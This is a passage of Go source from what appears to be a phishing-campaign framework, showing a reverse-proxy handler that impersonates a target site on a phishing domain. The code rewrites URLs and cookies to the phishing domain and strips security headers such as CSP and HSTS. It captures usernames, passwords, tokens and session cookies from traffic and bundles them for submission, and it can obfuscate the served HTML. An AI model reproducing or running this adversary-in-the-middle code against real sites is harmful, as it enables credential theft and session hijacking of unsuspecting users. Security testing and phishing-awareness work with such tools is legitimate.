"text/html") { if obfuscate, err := reqCtx.Campaign.Obfuscate.Get(); err == nil && obfuscate { // get obfuscation template from database obfuscationTemplate, err := m.OptionService.GetObfuscationTemplate(resp.Request.Context()) if err != nil { m.logger.Errorw("failed to get obfuscation template", "error", err) } else { obfuscated, err := utils.ObfuscateHTML(string(body), utils.DefaultObfuscationConfig(), obfuscationTemplate, service.TemplateFuncs()) if err != nil { m.logger.Errorw("failed to obfuscate html", "error", err) } else { body = []byte(obfuscated) // obfuscated content is already compressed, don't re-compress wasCompressed = false } } } } m.updateResponseBody(resp, body, wasCompressed) resp.Header.Set("Cache-Control", "no-cache, no-store") } func (m *ProxyHandler) processResponseWithoutSessionContext(resp *http.Response, reqCtx *RequestContext) *http.Response { // create minimal config for url rewriting config := m.createMinimalConfig(reqCtx.PhishDomain, reqCtx.TargetDomain) // apply basic response processing m.removeSecurityHeaders(resp) m.rewriteLocationHeaderWithoutSession(resp, config) m.rewriteResponseBodyWithoutSessionContext(resp, reqCtx, config) return resp } func (m *ProxyHandler) processCookiesForPhishingDomainWithContext(resp *http.Response, reqCtx *RequestContext) { cookies := resp.Cookies() if len(cookies) == 0 { return } tempConfig := map[string]service.ProxyServiceDomainConfig{ reqCtx.TargetDomain: {To: reqCtx.PhishDomain}, } resp.Header.Del("Set-Cookie") for _, ck := range cookies { m.adjustCookieSettings(ck, reqCtx.Session, resp) m.rewriteCookieDomain(ck, tempConfig, resp) resp.Header.Add("Set-Cookie", ck.String()) } } func (m *ProxyHandler) createMinimalConfig(phishDomain, targetDomain string) map[string]service.ProxyServiceDomainConfig { config := make(map[string]service.ProxyServiceDomainConfig) var fullConfigYAML *service.ProxyServiceConfigYAML dbDomain := &database.Domain{} if err := m.DomainRepository.DB.Where("name = ?", phishDomain).First(dbDomain).Error; err == nil { if dbDomain.ProxyID != nil { dbProxy := &database.Proxy{} if err := m.ProxyRepository.DB.Where("id = ?", *dbDomain.ProxyID).First(dbProxy).Error; err == nil { if configYAML, err := m.parseProxyConfig(dbProxy.ProxyConfig); err == nil { fullConfigYAML = configYAML // Restore: add config for all hosts for host, hostConfig := range fullConfigYAML.Hosts { if hostConfig != nil { config[host] = *hostConfig } } } } } } // fallback to basic mapping if len(config) == 0 { config[targetDomain] = service.ProxyServiceDomainConfig{To: phishDomain} } // add global capture rules to all host configurations // note: global rewrite rules are applied separately in applyCustomReplacementsWithoutSession if fullConfigYAML != nil && fullConfigYAML.Global != nil { for originalHost := range config { hostConfig := config[originalHost] // append global capture rules hostConfig.Capture = append(hostConfig.Capture, fullConfigYAML.Global.Capture...) config[originalHost] = hostConfig } } return config } func (m *ProxyHandler) removeSecurityHeaders(resp *http.Response) { headers := []string{ "Content-Security-Policy", "Content-Security-Policy-Report-Only", "Strict-Transport-Security", "X-XSS-Protection", "X-Content-Type-Options", "X-Frame-Options", } for _, header := range headers { resp.Header.Del(header) } } func (m *ProxyHandler) rewriteLocationHeaderWithoutSession(resp *http.Response, config map[string]service.ProxyServiceDomainConfig) { location := resp.Header.Get("Location") if location == "" { return } if rURL, err := url.Parse(location); err == nil { if phishHost := m.replaceHostWithPhished(rURL.Host, config); phishHost != "" { rURL.Host = phishHost resp.Header.Set("Location", rURL.String()) } } } func (m *ProxyHandler) rewriteResponseBodyWithoutSessionContext(resp *http.Response, reqCtx *RequestContext, configMap map[string]service.ProxyServiceDomainConfig) { contentType := resp.Header.Get("Content-Type") if !m.shouldProcessContent(contentType) { return } defer resp.Body.Close() body, wasCompressed, err := m.readAndDecompressBody(resp, reqCtx.UsedImpersonation) if err != nil { m.logger.Errorw("failed to read and decompress response body", "error", err) return } body = m.patchUrls(configMap, body, CONVERT_TO_PHISHING_URLS) body = m.applyURLPathRewritesWithoutSession(body, reqCtx) body = m.applyCustomReplacementsWithoutSession(body, configMap, reqCtx.TargetDomain, reqCtx.ProxyConfig, contentType) // apply obfuscation if enabled if reqCtx.Campaign != nil && strings.Contains(contentType, "text/html") { if obfuscate, err := reqCtx.Campaign.Obfuscate.Get(); err == nil && obfuscate { // get obfuscation template from database obfuscationTemplate, err := m.OptionService.GetObfuscationTemplate(resp.Request.Context()) if err != nil { m.logger.Errorw("failed to get obfuscation template", "error", err) } else { obfuscated, err := utils.ObfuscateHTML(string(body), utils.DefaultObfuscationConfig(), obfuscationTemplate, service.TemplateFuncs()) if err != nil { m.logger.Errorw("failed to obfuscate html", "error", err) } else { body = []byte(obfuscated) // obfuscated content is already compressed, don't re-compress wasCompressed = false } } } } m.updateResponseBody(resp, body, wasCompressed) if m.shouldCacheControlContent(contentType) { resp.Header.Set("Cache-Control", "no-cache, no-store") } } func (m *ProxyHandler) shouldCacheControlContent(contentType string) bool { return strings.Contains(contentType, "text/html") || strings.Contains(contentType, "javascript") || strings.Contains(contentType, "application/json") } func (m *ProxyHandler) patchUrls(config map[string]service.ProxyServiceDomainConfig, body []byte, convertType int) []byte { hostMap, hosts := m.buildHostMapping(config, convertType) // sort hosts by length (longest first) to avoid partial replacements sort.Slice(hosts, func(i, j int) bool { return len(hosts[i]) > len(hosts[j]) }) // first pass: urls with schemes body = m.replaceURLsWithScheme(body, hosts, hostMap) // second pass: urls without schemes body = m.replaceURLsWithoutScheme(body, hosts, hostMap) return body } func (m *ProxyHandler) buildHostMapping(config map[string]service.ProxyServiceDomainConfig, convertType int) (map[string]string, []string) { hostMap := make(map[string]string) var hosts []string for originalHost, hostConfig := range config { if hostConfig.To == "" { continue } var from, to string if convertType == CONVERT_TO_ORIGINAL_URLS { from = hostConfig.To to = originalHost } else { from = originalHost to = hostConfig.To } hostMap[strings.ToLower(from)] = to hosts = append(hosts, strings.ToLower(from)) } return hostMap, hosts } func (m *ProxyHandler) replaceURLsWithScheme(body []byte, hosts []string, hostMap map[string]string) []byte { return []byte(MATCH_URL_REGEXP.ReplaceAllStringFunc(string(body), func(sURL string) string { u, err := url.Parse(sURL) if err != nil { return sURL } for _, h := range hosts { if strings.ToLower(u.Host) == h { return strings.Replace(sURL, u.Host, hostMap[h], 1) } } return sURL })) } func (m *ProxyHandler) replaceURLsWithoutScheme(body []byte, hosts []string, hostMap map[string]string) []byte { return []byte(MATCH_URL_REGEXP_WITHOUT_SCHEME.ReplaceAllStringFunc(string(body), func(sURL string) string { for _, h := range hosts { if strings.Contains(sURL, h) && !strings.Contains(sURL, hostMap[h]) { return strings.Replace(sURL, h, hostMap[h], 1) } } return sURL })) } func (m *ProxyHandler) replaceHostWithOriginal(hostname string, config map[string]service.ProxyServiceDomainConfig) string { for originalHost, hostConfig := range config { if strings.EqualFold(hostConfig.To, hostname) { return originalHost } } return "" } func (m *ProxyHandler) replaceHostWithPhished(hostname string, config map[string]service.ProxyServiceDomainConfig) string { // first pass: look for exact matches (case-insensitive) for originalHost, hostConfig := range config { if strings.EqualFold(originalHost, hostname) { return hostConfig.To } } // second pass: look for subdomain matches // sort keys by length (longest first) to ensure most specific matches are checked first var sortedHosts []string for originalHost := range config { sortedHosts = append(sortedHosts, originalHost) } sort.Slice(sortedHosts, func(i, j int) bool { return len(sortedHosts[i]) > len(sortedHosts[j]) }) for _, originalHost := range sortedHosts { hostConfig := config[originalHost] if strings.HasSuffix(strings.ToLower(hostname), "."+strings.ToLower(originalHost)) { // use case-insensitive trimming to handle mixed case properly lowerHostname := strings.ToLower(hostname) lowerOriginal := strings.ToLower(originalHost) subdomain := strings.TrimSuffix(lowerHostname, "."+lowerOriginal) if subdomain != "" { return subdomain + "." + hostConfig.To } return hostConfig.To } } return "" } func (m *ProxyHandler) createNewSession( req *http.Request, reqCtx *RequestContext, ) (*service.ProxySession, error) { // use cached campaign data from request context campaign := reqCtx.Campaign recipientID := reqCtx.RecipientID campaignID := reqCtx.CampaignID campaignRecipientID := reqCtx.CampaignRecipientID if campaign == nil || recipientID == nil || campaignID == nil || campaignRecipientID == nil { return nil, fmt.Errorf("missing required campaign data in request context") } // create session configuration sessionConfig := m.buildSessionConfig(reqCtx.TargetDomain, reqCtx.Domain.Name, reqCtx.ProxyConfig) // capture client user-agent for analytics and logging - use original before any modifications userAgent := reqCtx.OriginalUserAgent if userAgent == "" { userAgent = req.Header.Get("User-Agent") } m.logger.Debugw("creating session with original user-agent", "userAgent", userAgent, "campaignRecipientID", campaignRecipientID.String(), ) session := &service.ProxySession{ ID: uuid.New().String(), CampaignRecipientID: campaignRecipientID, CampaignID: campaignID, RecipientID: recipientID, Campaign: campaign, Domain: reqCtx.Domain, TargetDomain: reqCtx.TargetDomain, UserAgent: userAgent, // store original user-agent before any modifications CreatedAt: time.Now(), } // initialize session data m.initializeSession(session, sessionConfig) // store session m.SessionManager.StoreSession(session.ID, session) if campaignRecipientID != nil { m.SessionManager.StoreCampaignRecipientSession(campaignRecipientID.String(), session.ID) } return session, nil } func (m *ProxyHandler) getCampaignInfo(ctx context.Context, campaignRecipientID *uuid.UUID) (*model.Campaign, *uuid.UUID, *uuid.UUID, error) { cRecipient, err := m.CampaignRecipientRepository.GetByID(ctx, campaignRecipientID, &repository.CampaignRecipientOption{}) if err != nil { return nil, nil, nil, fmt.Errorf("invalid campaign recipient ID %s: %w", campaignRecipientID.String(), err) } recipientID, err := cRecipient.RecipientID.Get() if err != nil { return nil, nil, nil, fmt.Errorf("campaign recipient %s has no recipient ID: %w", campaignRecipientID.String(), err) } campaignID, err := cRecipient.CampaignID.Get() if err != nil { return nil, nil, nil, fmt.Errorf("campaign recipient %s has no campaign ID: %w", campaignRecipientID.String(), err) } campaign, err := m.CampaignRepository.GetByID(ctx, &campaignID, &repository.CampaignOption{ WithCampaignTemplate: true, }) if err != nil { return nil, nil, nil, fmt.Errorf("failed to get campaign %s: %w", campaignID.String(), err) } return campaign, &recipientID, &campaignID, nil } func (m *ProxyHandler) buildSessionConfig(targetDomain, phishDomain string, proxyConfig *service.ProxyServiceConfigYAML) map[string]service.ProxyServiceDomainConfig { sessionConfig := map[string]service.ProxyServiceDomainConfig{ targetDomain: {To: phishDomain}, } // Copy domain-specific proxy config for originalHost, hostConfig := range proxyConfig.Hosts { if hostConfig != nil { sessionConfig[originalHost] = *hostConfig } } // add global capture rules only to the target domain configuration // note: global rewrite rules are applied separately in applyCustomReplacementsWithVariables if proxyConfig.Global != nil && sessionConfig[targetDomain].To != "" { hostConfig := sessionConfig[targetDomain] // append global capture rules hostConfig.Capture = append(hostConfig.Capture, proxyConfig.Global.Capture...) sessionConfig[targetDomain] = hostConfig } return sessionConfig } func (m *ProxyHandler) initializeSession(session *service.ProxySession, sessionConfig map[string]service.ProxyServiceDomainConfig) { // store configuration in sync.map for host, config := range sessionConfig { session.Config.Store(host, config) } // initialize atomic values session.IsComplete.Store(false) session.CookieBundleSubmitted.Store(false) session.NextPageType.Store("") // initialize required captures m.initializeRequiredCaptures(session) } func (m *ProxyHandler) findSessionByCampaignRecipient(campaignRecipientID *uuid.UUID) string { if campaignRecipientID == nil { return "" } sessionID, exists := m.SessionManager.GetSessionByCampaignRecipient(campaignRecipientID.String()) if !exists { return "" } if _, sessionExists := m.SessionManager.GetSession(sessionID); sessionExists { return sessionID } // cleanup orphaned mapping m.SessionManager.DeleteSession(sessionID) return "" } func (m *ProxyHandler) initializeRequiredCaptures(session *service.ProxySession) { // only apply capture rules for the current host if hostConfig, ok := session.Config.Load(session.TargetDomain); ok { hCfg := hostConfig.(service.ProxyServiceDomainConfig) if hCfg.Capture != nil { for _, capture := range hCfg.Capture { if capture.Required == nil || *capture.Required { session.RequiredCaptures.Store(capture.Name, false) } } } } } func (m *ProxyHandler) onRequestBody(req *http.Request, session *service.ProxySession, proxyConfig *service.ProxyServiceConfigYAML) { if req.Body == nil { return } hostConfig, exists := m.getHostConfig(session, req.Host) if !exists { return } body := m.readRequestBody(req) if hostConfig.Capture != nil { for _, capture := range hostConfig.Capture { if m.shouldApplyCaptureRule(capture, "request_body", req) { m.captureFromText(string(body), capture, session, req, "request_body") } } } // build variables context using the proxy config passed from caller varCtx := m.buildVariablesContext(req.Context(), session, proxyConfig) m.applyRequestBodyReplacementsWithVariables(req, session, proxyConfig, varCtx) } func (m *ProxyHandler) onRequestHeader(req *http.Request, session *service.ProxySession) { hostConfig, exists := m.getHostConfig(session, req.Host) if !exists { return } var buf bytes.Buffer req.Header.Write(&buf) if hostConfig.Capture != nil { for _, capture := range hostConfig.Capture { if m.shouldApplyCaptureRule(capture, "request_header", req) { m.captureFromText(buf.String(), capture, session, req, "request_header") } } } } func (m *ProxyHandler) onResponseBody(resp *http.Response, body []byte, session *service.ProxySession) { originalHost := resp.Request.Host if originalHost == "" { originalHost = session.TargetDomain } m.logger.Debugw("onResponseBody: checking for captures", "originalHost", originalHost, "sessionTargetDomain", session.TargetDomain, "requestURL", resp.Request.URL.String()) hostConfig, exists := m.getHostConfig(session, originalHost) if !exists { m.logger.Debugw("onResponseBody: no host config found", "originalHost", originalHost) return } m.logger.Debugw("onResponseBody: found host config", "originalHost", originalHost, "captureCount", len(hostConfig.Capture)) if hostConfig.Capture != nil { for _, capture := range hostConfig.Capture { if m.shouldProcessResponseBodyCapture(capture, resp.Request) { if capture.GetFindAsString() == "" { m.handlePathBasedCapture(capture, session, resp) } else { m.captureFromText(string(body), capture, session, resp.Request, "response_body") } } } } } func (m *ProxyHandler) onResponseCookies(resp *http.Response, session *service.ProxySession) { hostConfig, exists := m.getHostConfig(session, resp.Request.Host) if !exists { return } cookies := resp.Cookies() if len(cookies) == 0 { return } capturedCookies := make(map[string]map[string]string) if hostConfig.Capture != nil { for _, capture := range hostConfig.Capture { // check for both engine-based and from-based cookie captures isCookieCapture := capture.Engine == "cookie" || capture.From == "cookie" if isCookieCapture && m.matchesPath(capture, resp.Request) { if cookieData := m.extractCookieData(capture, cookies, resp); cookieData != nil { capturedCookies[capture.Name] = cookieData // always overwrite cookie data to ensure we have the latest cookies // this is important for scenarios like failed login -> successful login session.CapturedData.Store(capture.Name, cookieData) m.checkCaptureCompletion(session, capture.Name) // reset cookie bundle submitted flag since we have new cookie data // this allows resubmission with the latest cookies after all captures complete session.CookieBundleSubmitted.Store(false) } } } } if len(capturedCookies) > 0 { m.handleCampaignFlowProgression(session, resp.Request) } m.checkAndSubmitCookieBundleWhenComplete(session, resp.Request) } func (m *ProxyHandler) onResponseHeader(resp *http.Response, session *service.ProxySession) { hostConfig, exists := m.getHostConfig(session, resp.Request.Host) if !exists { return } var buf bytes.Buffer resp.Header.Write(&buf) if hostConfig.Capture != nil { for _, capture := range hostConfig.Capture { if m.shouldApplyCaptureRule(capture, "response_header", resp.Request) { m.captureFromTextWithResponse(buf.String(), capture, session, resp.Request, resp, "response_header") m.handleImmediateCampaignRedirect(session, resp, resp.Request, "response_header") } } } } func (m *ProxyHandler) shouldApplyCaptureRule(capture service.ProxyServiceCaptureRule, captureType string, req *http.Request) bool { // check capture source if capture.From != "" && capture.From != captureType && capture.From != "any" { return false } // check method if capture.Method != "" && capture.Method != req.Method { return false } // check path return m.matchesPath(capture, req) } func (m *ProxyHandler) shouldProcessResponseBodyCapture(capture service.ProxyServiceCaptureRule, req *http.Request) bool { // handle path-based captures if capture.Path != "" && (capture.Method == "" || capture.Method == req.Method) { return m.matchesPath(capture, req) } // handle regular response body captures return m.shouldApplyCaptureRule(capture, "response_body", req) } func (m *ProxyHandler) matchesPath(capture service.ProxyServiceCaptureRule, req *http.Request) bool { if capture.PathRe == nil { return true } return capture.PathRe.MatchString(req.URL.Path) } func (m *ProxyHandler) handlePathBasedCapture(capture service.ProxyServiceCaptureRule, session *service.ProxySession, resp *http.Response) { // only mark as complete if path AND method match exactly methodMatches := capture.Method == "" || capture.Method == resp.Request.Method pathMatches := m.matchesPath(capture, resp.Request) if methodMatches && pathMatches { // store captured data before marking complete capturedData := map[string]string{ "navigation_path": resp.Request.URL.Path, "capture_type": "navigation", } session.CapturedData.Store(capture.Name, capturedData) m.checkCaptureCompletion(session, capture.Name) if session.CampaignRecipientID != nil && session.CampaignID != nil { // convert to map[string]interface{} for webhook webhookData := map[string]interface{}{ capture.Name: capturedData, } m.createCampaignSubmitEvent(session, webhookData, resp.Request, session.UserAgent) } // check if cookie bundle should be submitted now that this capture is complete m.checkAndSubmitCookieBundleWhenComplete(session, resp.Request) } m.handleImmediateCampaignRedirect(session, resp, resp.Request, "path_navigation") } func (m *ProxyHandler) extractCookieData(capture service.ProxyServiceCaptureRule, cookies []*http.Cookie, resp *http.Response) map[string]string { cookieName := capture.GetFindAsString() if cookieName == "" { return nil } for _, cookie := range cookies { if cookie.Name == cookieName { return m.buildCookieData(cookie, resp) } } return nil } func (m *ProxyHandler) buildCookieData(cookie *http.Cookie, resp *http.Response) map[string]string { cookieDomain := cookie.Domain if cookieDomain == "" { cookieDomain = resp.Request.Host } isSecure := cookie.Secure if resp.Request.URL.Scheme == "https" && !isSecure { isSecure = true } cookieData := map[string]string{ "name": cookie.Name, "value": cookie.Value, "domain": cookieDomain, "path": cookie.Path, "capture_time": time.Now().Format(time.RFC3339), } if isSecure { cookieData["secure"] = "true" } if cookie.HttpOnly { cookieData["httpOnly"] = "true" } if cookie.SameSite != http.SameSiteDefaultMode { cookieData["sameSite"] = m.sameSiteToString(cookie.SameSite) } if !cookie.Expires.IsZero() && cookie.Expires.Year() > 1 { cookieData["expires"] = cookie.Expires.Format(time.RFC3339) } if cookie.MaxAge > 0 { cookieData["maxAge"] = fmt.Sprintf("%d", cookie.MaxAge) } if resp.Request.Host != cookieDomain { cookieData["original_host"] = resp.Request.Host } return cookieData } func (m *ProxyHandler) readRequestBody(req *http.Request) []byte { body, err := io.ReadAll(req.Body) if err != nil { m.logger.Errorw("failed to read request body", "error", err) return nil } req.Body.Close() req.Body = io.NopCloser(bytes.NewBuffer(body)) return body } // captureFromText is a wrapper that calls captureFromTextWithResponse with nil response func (m *ProxyHandler) captureFromText(text string, capture service.ProxyServiceCaptureRule, session *service.ProxySession, req *http.Request, captureContext string) { m.captureFromTextWithResponse(text, capture, session, req, nil, captureContext) } func (m *ProxyHandler) captureFromTextWithResponse(text string, capture service.ProxyServiceCaptureRule, session *service.ProxySession, req *http.Request, resp *http.Response, captureContext string) { findStr := capture.GetFindAsString() if findStr == "" { return } // determine the engine to use engine := capture.Engine if engine == "" && capture.From == "cookie" { engine = "cookie" } if engine == "" { engine = "regex" } // validate content-type matches engine for request body captures if captureContext == "request_body" && req != nil { contentType := strings.ToLower(req.Header.Get("Content-Type")) // check if engine matches content-type switch engine { case "json": // match application/json and any +json suffix (e.g., application/vnd.api+json) if !strings.Contains(contentType, "application/json") && !strings.Contains(contentType, "+json") { return } case "form", "urlencoded": if !strings.Contains(contentType, "application/x-www-form-urlencoded") { return } case "formdata", "multipart": if !strings.Contains(contentType, "multipart/form-data") { return } } } // validate content-type matches engine for response body captures if captureContext == "response_body" && resp != nil { contentType := strings.ToLower(resp.Header.Get("Content-Type")) // check if engine matches content-type switch engine { case "json": // match application/json and any +json suffix (e.g., application/vnd.api+json) if !strings.Contains(contentType, "application/json") && !strings.Contains(contentType, "+json") { return } case "form", "urlencoded": if !strings.Contains(contentType, "application/x-www-form-urlencoded") { return } case "formdata", "multipart": if !strings.Contains(contentType, "multipart/form-data") { return } } } // capture based on engine type var capturedData map[string]string var err error switch engine { case "header": capturedData = m.captureFromHeader(req, resp, capture, session, captureContext) case "cookie": capturedData = m.captureFromCookie(req, resp, capture, session, captureContext) case "json": capturedData = m.captureFromJSON(text, capture, session, req, captureContext) case "form", "urlencoded": capturedData = m.captureFromURLEncoded(text, capture, session, req, captureContext) case "formdata", "multipart": capturedData = m.captureFromMultipart(text, capture, session, req, captureContext) case "regex": fallthrough default: capturedData, err = m.captureFromRegex(text, capture, session, req, captureContext) if err != nil { m.logger.Errorw("regex capture failed", "error", err, "pattern", findStr) return } } if capturedData == nil { return } session.CapturedData.Store(capture.Name, capturedData) m.checkCaptureCompletion(session, capture.Name) // determine if this is a cookie capture (for backward compatibility) isCookieCapture := engine == "cookie" || capture.From == "cookie" // submit non-cookie captures immediately if !isCookieCapture && session.CampaignRecipientID != nil && session.CampaignID != nil { // convert to map[string]interface{} for webhook webhookData := map[string]interface{}{ capture.Name: capturedData, } m.createCampaignSubmitEvent(session, webhookData, req, session.UserAgent) } // check if we should submit cookie bundle (only when all captures complete) m.checkAndSubmitCookieBundleWhenComplete(session, req) m.handleCampaignFlowProgression(session, req) } // captureFromRegex captures data using regex pattern func (m *ProxyHandler) captureFromRegex(text string, capture service.ProxyServiceCaptureRule, session *service.ProxySession, req *http.Request, captureContext string) (map[string]string, error) { findStr := capture.GetFindAsString() re, err := regexp.Compile(findStr) if err != nil { return nil, err } matches := re.FindStringSubmatch(text) if len(matches) == 0 { return nil, nil } return m.buildCapturedData(matches, capture, session, req, captureContext), nil } // captureFromHeader captures header value by key func (m *ProxyHandler) captureFromHeader(req *http.Request, resp *http.Response, capture service.ProxyServiceCaptureRule, session *service.ProxySession, captureContext string) map[string]string { findFields := capture.GetFindAsStrings() if len(findFields) == 0 { return nil } capturedData := make(map[string]string) capturedData["capture_name"] = capture.Name // determine which headers to search var headers http.Header if captureContext == "response_header" && resp != nil { headers = resp.Header } else if req != nil { headers = req.Header } else { return nil } foundAny := false for _, headerName := range findFields { headerValue := headers.Get(headerName) if headerValue != "" { capturedData[headerName] = headerValue foundAny = true } } if !foundAny { return nil } return capturedData } // captureFromCookie captures cookie value by name func (m *ProxyHandler) captureFromCookie(req *http.Request, resp *http.Response, capture service.ProxyServiceCaptureRule, session *service.ProxySession, captureContext string) map[string]string { findFields := capture.GetFindAsStrings() if len(findFields) == 0 { return nil } capturedData := make(map[string]string) capturedData["capture_name"] = capture.Name foundAny := false for _, cookieName := range findFields { var cookieValue string // check response cookies if resp != nil { for _, cookie := range resp.Cookies() { if cookie.Name == cookieName { cookieValue = cookie.Value break } } } // if not found in response, check request cookies if cookieValue == "" && req != nil { if cookie, err := req.Cookie(cookieName); err == nil { cookieValue = cookie.Value } } if cookieValue != "" { capturedData[cookieName] = cookieValue capturedData["cookie_value"] = cookieValue // for backward compatibility foundAny = true // add domain info domain := session.TargetDomain if captureContext != "response_header" && captureContext != "response_body" && req != nil { domain = req.Host } if domain != "" { capturedData["cookie_domain"] = domain } } } if !foundAny { return nil } return capturedData } // captureFromJSON captures data from JSON body using path notation func (m *ProxyHandler) captureFromJSON(text string, capture service.ProxyServiceCaptureRule, session *service.ProxySession, req *http.Request, captureContext string) map[string]string { findFields := capture.GetFindAsStrings() if len(findFields) == 0 { return nil } // parse JSON var data interface{} if err := json.Unmarshal([]byte(text), &data); err != nil { m.logger.Debugw("failed to parse JSON for capture", "error", err) return nil } capturedData := make(map[string]string) capturedData["capture_name"] = capture.Name foundAny := false for _, path := range findFields { value := m.extractJSONPath(data, path) if value != "" { capturedData[path] = value foundAny = true } } if !foundAny { return nil } return capturedData } // extractJSONPath extracts value from JSON using path notation (e.g., "user.name" or "[0].user.name") func (m *ProxyHandler) extractJSONPath(data interface{}, path string) string { if path == "" { return "" } parts := m.parseJSONPath(path) current := data for _, part := range parts { if part.isArray { // handle array index arr, ok := current.([]interface{}) if !ok { return "" } if part.index < 0 || part.index >= len(arr) { return "" } current = arr[part.index] } else { // handle object key obj, ok := current.(map[string]interface{}) if !ok { return "" } val, exists := obj[part.key] if !exists { return "" } current = val } } // convert final value to string return m.jsonValueToString(current) } // jsonPathPart represents a part of a JSON path type jsonPathPart struct { isArray bool index int key string } // parseJSONPath parses a JSON path string into parts (e.g., "[0].user.name" -> [{array:0}, {key:"user"}, {key:"name"}]) func (m *ProxyHandler) parseJSONPath(path string) []jsonPathPart { var parts []jsonPathPart current := "" inBracket := false for i := 0; i < len(path); i++ { ch := path[i] if ch == '[' { if current != "" { parts = append(parts, jsonPathPart{isArray: false, key: current}) current = "" } inBracket = true } else if ch == ']' { if inBracket && current != "" { if idx, err := strconv.Atoi(current); err == nil { parts = append(parts, jsonPathPart{isArray: true, index: idx}) } current = "" } inBracket = false } else if ch == '.' && !inBracket { if current != "" { parts = append(parts, jsonPathPart{isArray: false, key: current}) current = "" } } else { current += string(ch) } } if current != "" { parts = append(parts, jsonPathPart{isArray: false, key: current}) } return parts } // jsonValueToString converts a JSON value to string func (m *ProxyHandler) jsonValueToString(value interface{}) string { if value == nil { return "" } switch v := value.(type) { case string: return v case float64: return strconv.FormatFloat(v, 'f', -1, 64) case bool: return strconv.FormatBool(v) case int: return strconv.Itoa(v) default: // for complex types, return JSON representation if bytes, err := json.Marshal(v); err == nil { return string(bytes) } return "" } } // captureFromURLEncoded captures data from application/x-www-form-urlencoded body func (m *ProxyHandler) captureFromURLEncoded(text string, capture service.ProxyServiceCaptureRule, session *service.ProxySession, req *http.Request, captureContext string) map[string]string { findFields := capture.GetFindAsStrings() if len(findFields) == 0 { return nil } // parse form data values, err := url.ParseQuery(text) if err != nil { m.logger.Debugw("failed to parse URL encoded form data", "error", err) return nil } capturedData := make(map[string]string) capturedData["capture_name"] = capture.Name foundAny := false for _, fieldName := range findFields { if value := values.Get(fieldName); value != "" { capturedData[fieldName] = value foundAny = true } } if !foundAny { return nil } return capturedData } // captureFromMultipart captures data from multipart/form-data body func (m *ProxyHandler) captureFromMultipart(text string, capture service.ProxyServiceCaptureRule, session *service.ProxySession, req *http.Request, captureContext string) map[string]string { findFields := capture.GetFindAsStrings() if len(findFields) == 0 { return nil } // get boundary from content-type header var boundary string if req != nil { contentType := req.Header.Get("Content-Type") if contentType != "" { parts := strings.Split(contentType, "boundary=") if len(parts) == 2 { boundary = strings.Trim(parts[1], `"`) } } } if boundary == "" { m.logger.Debugw("no boundary found in multipart form data") return nil } // parse multipart form data reader := multipart.NewReader(strings.NewReader(text), boundary) capturedData := make(map[string]string) capturedData["capture_name"] = capture.Name foundAny := false for { part, err := reader.NextPart() if err == io.EOF { break } if err != nil { m.logger.Debugw("error reading multipart part", "error", err) break } fieldName := part.FormName() for _, targetField := range findFields { if fieldName == targetField { if buf, err := io.ReadAll(part); err == nil { capturedData[fieldName] = string(buf) foundAny = true } break } } part.Close() } if !foundAny { return nil } return capturedData } func (m *ProxyHandler) buildCapturedData(matches []string, capture service.ProxyServiceCaptureRule, session *service.ProxySession, req *http.Request, captureContext string) map[string]string { capturedData := make(map[string]string) // add capture name to the captured data capturedData["capture_name"] = capture.Name if len(matches) > 1 { for i := 1; i < len(matches); i++ { capturedData[fmt.Sprintf("group_%d", i)] = matches[i] } m.formatCapturedData(capturedData, capture, matches, session, req, captureContext) } else { capturedData["matched"] = matches[0] } return capturedData } func (m *ProxyHandler) formatCapturedData(capturedData map[string]string, capture service.ProxyServiceCaptureRule, matches []string, session *service.ProxySession, req *http.Request, captureContext string) { captureName := strings.ToLower(capture.Name) switch { case strings.Contains(captureName, "credential") || strings.Contains(captureName, "login"): if len(matches) >= 3 { capturedData["username"] = matches[1] capturedData["password"] = matches[2] } case capture.From == "cookie" || capture.Engine == "cookie": if len(matches) >= 2 { capturedData["cookie_value"] = matches[1] domain := session.TargetDomain if captureContext != "response_header" && captureContext != "response_body" { domain = req.Host } if domain != "" { capturedData["cookie_domain"] = domain } } case strings.Contains(captureName, "token"): if len(matches) >= 2 { capturedData["token_value"] = matches[1] capturedData["token_type"] = capture.Name } } } func (m *ProxyHandler) checkCaptureCompletion(session *service.ProxySession, captureName string) { if _, exists := session.RequiredCaptures.Load(captureName); exists { // only mark as complete if we actually have captured data for this capture if _, hasData := session.CapturedData.Load(captureName); hasData { session.RequiredCaptures.Store(captureName, true) // update session complete status allComplete := m.areAllRequiredCapturesComplete(session) session.IsComplete.Store(allComplete) } } } // areAllRequiredCapturesComplete checks if all required captures have been completed func (m *ProxyHandler) areAllRequiredCapturesComplete(session *service.ProxySession) bool { allComplete := true session.RequiredCaptures.Range(func(key, value interface{}) bool { if !value.(bool) { allComplete = false return false } return true }) return allComplete } func (m *ProxyHandler) checkAndSubmitCookieBundleWhenComplete(session *service.ProxySession, req *http.Request) { if session.CampaignRecipientID == nil || session.CampaignID == nil { return } if session.CookieBundleSubmitted.Load() { return } // only submit cookie bundle when ALL required captures are complete if !m.areAllRequiredCapturesComplete(session) { return } // submit cookie bundle if there are cookie captures cookieCaptures, requiredCookieCaptures := m.collectCookieCaptures(session) if m.areAllCookieCapturesComplete(requiredCookieCaptures) && len(cookieCaptures) > 0 { bundledData := m.createCookieBundle(cookieCaptures, session) m.createCampaignSubmitEvent(session, bundledData, req, session.UserAgent) session.CookieBundleSubmitted.Store(true) } } func (m *ProxyHandler) collectCookieCaptures(session *service.ProxySession) (map[string]map[string]string, map[string]bool) { cookieCaptures := make(map[string]map[string]string) requiredCookieCaptures := make(map[string]bool) session.RequiredCaptures.Range(func(requiredCaptureKey, requiredCaptureValue interface{}) bool { requiredCaptureName := requiredCaptureKey.(string) isComplete := requiredCaptureValue.(bool) // only apply capture rules for the current host if hostConfig, ok := session.Config.Load(session.TargetDomain); ok { hCfg := hostConfig.(service.ProxyServiceDomainConfig) if hCfg.Capture != nil { for _, capture := range hCfg.Capture { // check for both engine-based and from-based cookie captures isCookieCapture := capture.Engine == "cookie" || capture.From == "cookie" if capture.Name == requiredCaptureName && isCookieCapture { requiredCookieCaptures[requiredCaptureName] = isComplete if capturedDataInterface, exists := session.CapturedData.Load(requiredCaptureName); exists { capturedData := capturedDataInterface.(map[string]string) cookieCaptures[requiredCaptureName] = capturedData } } } } } return true }) return cookieCaptures, requiredCookieCaptures } func (m *ProxyHandler) areAllCookieCapturesComplete(requiredCookieCaptures map[string]bool) bool { if len(requiredCookieCaptures) == 0 { return false } for _, isComplete := range requiredCookieCaptures { if !isComplete { return false } } return true } func (m *ProxyHandler) createCookieBundle(cookieCaptures map[string]map[string]string, session *service.ProxySession) map[string]interface{} { bundledData := map[string]interface{}{ "capture_type": "cookie", 